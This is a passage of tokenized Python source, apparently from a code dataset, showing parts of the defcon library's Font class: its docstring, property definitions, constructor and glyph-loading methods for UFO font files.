"\\", "10", ";", " ", " ", " ", " ", "If", " ", "load", "ing", " ", "from", " ", "an", " ", "exist", "ing", " ", "UF", "O", ",", " ", "**", "path", "**", " ", "shou", "ld", " ", "be", " ", "the", " ", "path", " ", "to", " ", "the", " ", "UF", "O", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "you", " ", "subclass", " ", "one", " ", "of", " ", "the", " ", "sub", " ", "object", "s", ",", " ", "suc", "h", " ", "as", " ", ":", "class", ":`", "Gl", "yp", "h", "`", ",", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "class", " ", "must", " ", "be", " ", "register", "ed", " ", "whe", "n", " ", "the", " ", "font", " ", "is", " ", "created", " ", "for", " ", "def", "con", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "know", " ", "abo", "ut", " ", "it", ".", " ", "The", " ", "**", "\\\\*", "Class", "**", " ", "argu", "ment", "s", " ", "allow", " ", "for", " ", "individual", "\\", "10", ";", " ", " ", " ", " ", "ov", "ver", "ride", "s", ".", " ", "If", " ", "Non", "e", " ", "is", " ", "provided", " ", "for", " ", "an", " ", "argu", "ment", ",", " ", "the", " ", "def", "con", "\\", "10", ";", " ", " ", " ", " ", "appropr", "iate", " ", "class", " ", "will", " ", "be", " ", "used", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Thi", "s", " ", "object", " ", "posts", " ", "the", " ", "follow", "ing", " ", "notification", "s", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "==============", "=====", " ", " ", "====", "\\", "10", ";", " ", " ", " ", " ", "Name", " ", " ", " ", " ", " ", "Not", "e", "\\", "10", ";", " ", " ", " ", " ", "==============", "=====", " ", " ", "====", "\\", "10", ";", " ", " ", " ", " ", "Font", ".", "Change", "d", " ", " ", " ", " ", " ", "Post", "ed", " ", "whe", "n", " ", "the", " ", "*", "dir", "ty", "*", " ", "attribute", " ", "is", " ", "set", ".", "\\", "10", ";", " ", " ", " ", " ", "Font", ".", "Relo", "aded", "Glyphs", " ", " ", "Post", "ed", " ", "after", " ", "the", " ", "*", "relo", "ad", "Glyphs", "*", " ", "method", " ", "has", " ", "bee", "n", " ", "call", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "==============", "=====", " ", " ", "====", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "Font", " ", "object", " ", "has", " ", "some", " ", "dict", " ", "like", " ", "behavior", ".", " ", "For", " ", "example", ",", " ", "to", " ", "get", " ", "a", " ", "glyph", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "glyph", " ", "=", " ", "font", "[\"", "a", "Gl", "yp", "h", "Name", "\"]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "To", " ", "iterate", " ", "over", " ", "all", " ", "glyph", "s", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "glyph", " ", "in", " ", "font", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "To", " ", "get", " ", "the", " ", "number", " ", "of", " ", "glyph", "s", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "glyph", "Count", " ", "=", " ", "len", "(", "font", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "To", " ", "find", " ", "out", " ", "if", " ", "a", " ", "font", " ", "contain", "s", " ", "a", " ", "partic", "ular", " ", "glyph", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "exist", "s", " ", "=", " ", "\"", "a", "Gl", "yp", "h", "Name", "\"", " ", "in", " ", "font", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "To", " ", "remove", " ", "a", " ", "glyph", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "del", " ", "font", "[\"", "a", "Gl", "yp", "h", "Name", "\"]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "change", "Notifi", "cation", "Name_", "=_", "\"", "Font", ".", "Change", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Attributes_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "path_", "=_", "property_", "(_", "\\u", "get", "\\u", "path_", ",_", "\\u", "set\\u", "path_", ",_", "doc_", "=_", "\"", "The", " ", "location", " ", "of", " ", "the", " ", "file", " ", "on", " ", "disk", ".", " ", "Sett", "ing", " ", "the", " ", "path", " ", "shou", "ld", " ", "only", " ", "be", " ", "don", "e", " ", "whe", "n", " ", "the", " ", "user", " ", "has", " ", "moved", " ", "the", " ", "file", " ", "in", " ", "the", " ", "OS", " ", "interface", ".", " ", "Sett", "ing", " ", "the", " ", "path", " ", "is", " ", "not", " ", "the", " ", "same", " ", "as", " ", "a", " ", "save", " ", "operati", "on", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ufo", "Format", "Version_", "=_", "property_", "(_", "\\u", "get", "\\u", "ufo", "Format", "Version_", ",_", "doc_", "=_", "\"", "The", " ", "UF", "O", " ", "format", " ", "version", " ", "tha", "t", " ", "will", " ", "be", " ", "used", " ", "whe", "n", " ", "saving", ".", " ", "Thi", "s", " ", "is", " ", "take", "n", " ", "from", " ", "a", " ", "load", "ed", " ", "UF", "O", " ", "dur", "ing", " ", "\\u\\u", "init", "\\u\\u", ".", " ", "If", " ", "this", " ", "font", " ", "was", " ", "not", " ", "load", "ed", " ", "from", " ", "a", " ", "UF", "O", ",", " ", "this", " ", "will", " ", "return", " ", "Non", "e", " ", "unti", "l", " ", "the", " ", "font", " ", "has", " ", "bee", "n", " ", "saved", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "s", "With", "Outline", "s_", "=_", "property_", "(_", "\\u", "get", "\\u", "glyph", "s", "With", "Outline", "s_", ",_", "doc_", "=_", "\"", "A", " ", "list", " ", "of", " ", "glyph", "s", " ", "contain", "ing", " ", "outline", "s", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "component", "Reference", "s_", "=_", "property_", "(_", "\\u", "get", "\\u", "component", "Reference", "s_", ",_", "doc_", "=_", "\"", "A", " ", "dict", " ", "of", " ", "descri", "bing", " ", "the", " ", "component", " ", "relation", "shi", "s", " ", "in", " ", "the", " ", "font", ".", " ", "The", " ", "dictionar", "y", " ", "is", " ", "of", " ", "form", " ", "``", "{", "base", " ", "glyph", " ", ":", " ", "[", "reference", "s", "]}", "``.", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bounds_", "=_", "property_", "(_", "\\u", "get", "\\u", "bounds_", ",_", "doc_", "=_", "\"", "The", " ", "bound", "s", " ", "of", " ", "all", " ", "glyph", "s", " ", "in", " ", "the", " ", "font", ".", " ", "Thi", "s", " ", "can", " ", "be", " ", "an", " ", "expen", "sive", " ", "operati", "on", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "control", "Point", "Bounds_", "=_", "property_", "(_", "\\u", "get", "\\u", "control", "Point", "Bounds_", ",_", "doc_", "=_", "\"", "The", " ", "control", " ", "bound", "s", " ", "of", " ", "all", " ", "glyph", "s", " ", "in", " ", "the", " ", "font", ".", " ", "Thi", "s", " ", "only", " ", "measure", "s", " ", "the", " ", "point", " ", "position", "s", ",", " ", "it", " ", "doe", "s", " ", "not", " ", "measure", " ", "curve", "s", ".", " ", "So", ",", " ", "curve", "s", " ", "with", "out", " ", "points", " ", "at", " ", "the", " ", "extre", "ma", " ", "will", " ", "not", " ", "be", " ", "proper", "ly", " ", "measure", "d", ".", " ", "Thi", "s", " ", "is", " ", "an", " ", "expen", "sive", " ", "operati", "on", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sub", "-", "Objects_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "info_", "=_", "property_", "(_", "\\u", "get", "\\u", "info_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Info", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "kern", "ing_", "=_", "property_", "(_", "\\u", "get", "\\u", "kern", "ing_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Kern", "ing", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "groups_", "=_", "property_", "(_", "\\u", "get", "\\u", "groups_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Group", "s", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "features_", "=_", "property_", "(_", "\\u", "get", "\\u", "features_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Feature", "s", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lib_", "=_", "property_", "(_", "\\u", "get", "\\u", "lib_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Lib", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unicode", "Data_", "=_", "property_", "(_", "\\u", "get", "\\u", "unicode", "Data_", ",_", "doc_", "=_", "\"", "The", " ", "font", "'", "s", " ", ":", "class", ":`", "Unic", "ode", "Data", "`", " ", "object", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Methods_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Notifi", "cation", " ", "Callbacks_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exter", "nal", " ", "Edit", " ", "Support_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "stamp", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "comparison_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "data", " ", "relo", "ading", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "UF", "O", " ", "Format", " ", "Version", " ", "Conversion", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--------------", "--------------", "-_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "path_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kern", "ing", "Class_", "=_", "None_", ",_", "info", "Class_", "=_", "None_", ",_", "group", "s", "Class_", "=_", "None_", ",_", "features", "Class_", "=_", "None_", ",_", "lib", "Class_", "=_", "None_", ",_", "unicode", "Data", "Class_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "glyph", "Class_", "=_", "None_", ",_", "glyph", "Contour", "Class_", "=_", "None_", ",_", "glyph", "Point", "Class_", "=_", "None_", ",_", "glyph", "Compo", "nent", "Class_", "=_", "None_", ",_", "glyph", "Anc", "hor", "Class_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Font_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "glyph", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Class_", "=_", "Glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "info", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "info", "Class_", "=_", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "kern", "ing", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kern", "ing", "Class_", "=_", "Kern", "ing_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "group", "s", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "s", "Class_", "=_", "Groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "features", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "features", "Class_", "=_", "Features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "lib", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lib", "Class_", "=_", "Lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "unicode", "Data", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unicode", "Data", "Class_", "=_", "Unic", "ode", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "dispatcher_", "=_", "Notifi", "cation", "Center_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Class_", "=_", "glyph", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Contour", "Class_", "=_", "glyph", "Contour", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Point", "Class_", "=_", "glyph", "Point", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Compo", "nent", "Class_", "=_", "glyph", "Compo", "nent", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Anc", "hor", "Class_", "=_", "glyph", "Anc", "hor", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing", "Class_", "=_", "kern", "ing", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "info", "Class_", "=_", "info", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "group", "s", "Class_", "=_", "group", "s", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features", "Class_", "=_", "features", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib", "Class_", "=_", "lib", "Class_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "ufo", "Format", "Version_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "glyphs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Set_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "keys_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "kern", "ing_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "info_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "groups_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "features_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "lib_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "=_", "unicode", "Data", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "ufo", "Lib_", "._", "UF", "OR", "eader", "_", "(_", "self_", "._", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "ufo", "Format", "Version_", "=_", "reader_", "._", "format", "Version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Set_", "=_", "reader_", "._", "get", "Gl", "yp", "h", "Set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "keys_", "=_", "set_", "(_", "self_", "._", "\\u", "glyph", "Set_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "update_", "(_", "reader_", "._", "get", "Char", "acte", "r", "Mapping_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "UF", "O", " ", "version", " ", "is", " ", "1", ",", " ", "do", " ", "some", " ", "conve", "rsi", "on", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "ufo", "Format", "Version_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "convert", "Fro", "m", "Format", "Version", "1", "Rob", "o", "Fab", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instantiate", "Gl", "yp", "h", "Object_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph_", "=_", "self_", "._", "\\u", "glyph", "Class_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "conto", "ur", "Class_", "=_", "self_", "._", "\\u", "glyph", "Contour", "Class_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "point", "Class_", "=_", "self_", "._", "\\u", "glyph", "Point", "Class_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "component", "Class_", "=_", "self_", "._", "\\u", "glyph", "Compo", "nent", "Class_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "anchor", "Class_", "=_", "self_", "._", "\\u", "glyph", "Anc", "hor", "Class_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lib", "Class_", "=_", "self_", "._", "\\u", "lib", "Class_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "load", "Glyph_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "glyph", "Set_", "is_", "None_", "or_", "not_", "self_", "._", "\\u", "glyph", "Set_", "._", "has", "\\u", "key_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Key", "Error_", ",_", "'%", "s", " ", "not", " ", "in", " ", "font", "'_", "%_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph_", "=_", "self_", "._", "\\u", "instantiate", "Gl", "yp", "h", "Object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "point", "Pen_", "=_", "glyph_", "._", "get", "Point", "Pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyph", "Set_", "._", "read", "Glyph_", "(_", "glyph", "Name_", "=_", "name_", ",_", "glyph", "Object_", "=_", "glyph_", ",_", "point", "Pen_", "=_", "point", "Pen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "dirty_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyphs_", "[_", "name_", "]_", "=_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "set", "Parent", "Data", "In", 